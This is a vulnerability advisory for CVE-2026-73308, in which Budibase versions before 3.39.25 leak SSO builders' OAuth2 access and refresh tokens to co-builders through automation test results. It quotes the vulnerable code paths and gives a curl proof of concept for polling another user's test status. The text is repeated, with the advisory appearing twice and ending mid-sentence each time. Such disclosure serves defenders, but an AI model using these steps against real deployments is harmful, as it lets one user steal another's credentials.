CVE-2026-73308

Budibase is an open-source low-code platform. Prior to 3.39.25, packages/server/src/api/controllers/automation.ts returned automation test results containing trigger.outputs.user.oauth2, broadcast BuilderSocketEvent.AutomationTestProgress to the app room, and stored progress in packages/server/src/automations/testProgress.ts without user scoping. A co-builder could receive or poll another SSO-authenticated builder test and obtain OAuth2 access and refresh tokens. The fix adds sanitizeAutomationTestResult and isolates progress by user. This issue is fixed in version 3.39.25.

Budibase is an open-source low-code platform. Prior to 3.39.25, packages/server/src/api/controllers/automation.ts returned automation test results containing trigger.outputs.user.oauth2, broadcast BuilderSocketEvent.AutomationTestProgress to the app room, and stored progress in packages/server/src/automations/testProgress.ts without user scoping. A co-builder could receive or poll another SSO-authenticated builder test and obtain OAuth2 access and refresh tokens. The fix adds sanitizeAutomationTestResult and isolates progress by user. This issue is fixed in version 3.39.25.

Summary

When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens.

Details

The vulnerability exists because getUserContextBindings() intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization.

Step 1: Tokens included in user bindings

In packages/server/src/sdk/users/utils.ts:134-161:

export function getUserContextBindings(user: ContextUser): UserBindings {
  const bindings: UserBindings = {
    _id: user._id,
    email: user.email,
    // ...
  }
  if (isSSOUser(user) && user.oauth2) {
    bindings.oauth2 = {
      accessToken: user.oauth2.accessToken,   // <-- sensitive
      refreshToken: user.oauth2.refreshToken,  // <-- sensitive
    }
  }
  return bindings
}

Step 2: Bindings passed to automation execution

In packages/server/src/api/controllers/automation.ts:311-312:

const user = sdk.users.getUserContextBindings(ctx.user)
return await triggers.externalTrigger(
  { ...automation, disabled: false },
  { ...input, appId, user },  // user with tokens passed as event param
  { getResponses: true, onProgress: emitProgress }
)

Step 3: Tokens placed in trigger outputs

In packages/server/src/threads/automation.ts:409-413:

const trigger: AutomationTriggerResult = {
  id: data.automation.definition.trigger.id,
  stepId: data.automation.definition.trigger.stepId,
  inputs: null,
  outputs: data.event,  // data.event includes user.oauth2 tokens
}

Step 4: Result broadcast without sanitization

The full result (including trigger.outputs.user.oauth2) is exposed via two vectors:

1. WebSocket broadcast — builderSocket.emitToRoom() calls this.io.in(room).emit() (packages/server/src/websockets/websocket.ts:291) which sends to ALL sockets in the app's room, not just the originator.

2. Test status endpoint — recordTestProgress() stores the result in a Map keyed by ${appId}:${automationId} with no user isolation (packages/server/src/automations/testProgress.ts:41-74). Any builder can call GET /api/automations/:id/test/status to retrieve another user's test results.

PoC

Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens.

# Step 1: User A (SSO-authenticated builder) tests an automation asynchronously
curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userA_session>' \
  -H 'Content-Type: application/json' \
  -d '{"row": {"tableId": "ta_xxx"}}'
# Returns: {"message": "Automation test started"}

# Step 2: User B (another builder on the same app) polls the test status
curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userB_session>'

# Response includes the full automation result with:
# result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..."
# result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..."

Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the BuilderSocketEvent.AutomationTestProgress event with status: "complete" includes the full result payload.

Impact

• OAuth2 access tokens for external services (Google Workspace, Azure AD, GitHub,…

Budibase is an open-source low-code platform. Prior to 3.39.25, packages/server/src/api/controllers/automation.ts returned automation test results containing trigger.outputs.user.oauth2, broadcast BuilderSocketEvent.AutomationTestProgress to the app room, and stored progress in packages/server/src/automations/testProgress.ts without user scoping. A co-builder could receive or poll another SSO-authenticated builder test and obtain OAuth2 access and refresh tokens. The fix adds sanitizeAutomationTestResult and isolates progress by user. This issue is fixed in version 3.39.25.

Budibase is an open-source low-code platform. Prior to 3.39.25, packages/server/src/api/controllers/automation.ts returned automation test results containing trigger.outputs.user.oauth2, broadcast BuilderSocketEvent.AutomationTestProgress to the app room, and stored progress in packages/server/src/automations/testProgress.ts without user scoping. A co-builder could receive or poll another SSO-authenticated builder test and obtain OAuth2 access and refresh tokens. The fix adds sanitizeAutomationTestResult and isolates progress by user. This issue is fixed in version 3.39.25.

Summary

When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens.

Details

The vulnerability exists because getUserContextBindings() intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization.

Step 1: Tokens included in user bindings

In packages/server/src/sdk/users/utils.ts:134-161:

export function getUserContextBindings(user: ContextUser): UserBindings {
  const bindings: UserBindings = {
    _id: user._id,
    email: user.email,
    // ...
  }
  if (isSSOUser(user) && user.oauth2) {
    bindings.oauth2 = {
      accessToken: user.oauth2.accessToken,   // <-- sensitive
      refreshToken: user.oauth2.refreshToken,  // <-- sensitive
    }
  }
  return bindings
}

Step 2: Bindings passed to automation execution

In packages/server/src/api/controllers/automation.ts:311-312:

const user = sdk.users.getUserContextBindings(ctx.user)
return await triggers.externalTrigger(
  { ...automation, disabled: false },
  { ...input, appId, user },  // user with tokens passed as event param
  { getResponses: true, onProgress: emitProgress }
)

Step 3: Tokens placed in trigger outputs

In packages/server/src/threads/automation.ts:409-413:

const trigger: AutomationTriggerResult = {
  id: data.automation.definition.trigger.id,
  stepId: data.automation.definition.trigger.stepId,
  inputs: null,
  outputs: data.event,  // data.event includes user.oauth2 tokens
}

Step 4: Result broadcast without sanitization

The full result (including trigger.outputs.user.oauth2) is exposed via two vectors:

1. WebSocket broadcast — builderSocket.emitToRoom() calls this.io.in(room).emit() (packages/server/src/websockets/websocket.ts:291) which sends to ALL sockets in the app's room, not just the originator.

2. Test status endpoint — recordTestProgress() stores the result in a Map keyed by ${appId}:${automationId} with no user isolation (packages/server/src/automations/testProgress.ts:41-74). Any builder can call GET /api/automations/:id/test/status to retrieve another user's test results.

PoC

Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens.

# Step 1: User A (SSO-authenticated builder) tests an automation asynchronously
curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userA_session>' \
  -H 'Content-Type: application/json' \
  -d '{"row": {"tableId": "ta_xxx"}}'
# Returns: {"message": "Automation test started"}

# Step 2: User B (another builder on the same app) polls the test status
curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \
  -H 'x-budibase-app-id: app_dev_<appid>' \
  -H 'Cookie: budibase:auth=<userB_session>'

# Response includes the full automation result with:
# result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..."
# result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..."

Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the BuilderSocketEvent.AutomationTestProgress event with status: "complete" includes the full result payload.

Impact

• OAuth2 access tokens for external services (Google Workspace, Azure AD, GitHub,…